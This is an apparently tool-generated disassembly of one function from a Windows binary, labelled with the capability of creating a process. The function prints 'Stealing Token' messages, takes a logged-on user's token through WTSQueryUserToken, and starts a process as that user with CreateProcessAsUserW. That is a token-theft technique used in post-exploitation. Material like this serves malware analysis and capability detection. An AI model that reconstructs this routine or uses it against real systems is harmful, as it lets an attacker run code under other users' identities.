Function at 0x140002f20
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x14000d010]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov rbx, r8
mov r14d, ecx
xor r15d, r15d
mov qword [rsp + 0x60], r15
lea rdx, str._n___Stealing_Token_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005990
lea rdx, [rsp + 0x60]
mov ecx, r14d
call qword [sym.imp.WTSAPI32.dll_WTSQueryUserToken]
cmp qword [rsp + 0x60], r15
je 0x140003210
mov r8, 0xffffffffffffffff
mov rax, r8
nop word [rax + rax]
inc rax
cmp byte [rbx + rax], r15b
jne 0x140002f90
lea rsi, [rbx + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov edi, 7
mov qword [rbp - 0x68], rdi
cmp rbx, rsi
jne 0x140002fc0
mov qword [rbp - 0x70], r15
mov word [rbp - 0x80], r15w
jmp 0x1400030c4
mov rdx, r15
mov qword [rbp - 0x70], rdx
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140003239
cmp rax, 8
jb 0x140003080
mov rdi, rax
or rdi, 7
cmp rdi, rcx
jbe 0x140002ff5
mov rdi, rcx
jmp 0x140003001
mov eax, 0xa
cmp rdi, rax
cmovb rdi, rax
mov rax, rdi
add rax, 1
cmovb rax, r8
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x140003233
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x14000305f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003233
mov rcx, rax
call fcn.140006c64
mov rcx, rax
test rax, rax
je 0x140003204
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rbp - 0x70]
jmp 0x140003072
test rcx, rcx
je 0x14000306f
call fcn.140006c64
mov rdx, qword [rbp - 0x70]
jmp 0x140003072
mov rax, r15
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rdi
nop word [rax + rax]
lea rcx, [rbp - 0x80]
cmp rdi, 8
cmovae rcx, qword [rbp - 0x80]
movsx eax, byte [rbx]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp - 0x70]
inc rdx
mov qword [rbp - 0x70], rdx
inc rbx
cmp rbx, rsi
je 0x1400030ad
mov rdi, qword [rbp - 0x68]
jmp 0x140003080
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rax, qword [rbp - 0x80]
mov word [rax + rdx*2], r15w
mov rdi, qword [rbp - 0x68]
lea rbx, [rbp - 0x80]
cmp rdi, 8
cmovae rbx, qword [rbp - 0x80]
lea rdx, str.___Stole_user_Token__from_sessionsId:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005990
mov rcx, rax
mov edx, r14d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._HANDLE_is_0x
call fcn.140005990
mov rcx, rax
mov rdx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1400089f8]
call fcn.140005990
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
mov dword [rbp - 0x60], 0x68
mov eax, 1
mov word [rbp - 0x20], ax
mov rcx, qword [rsp + 0x60]
call fcn.140001980
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x1400031c1
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x140003210
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000320b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000320b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006ca0
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140006b60
mov rbx, qword [rsp + 0x158]
add rsp, 0x120
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.140001110
int3
call fcn.1400011b0
int3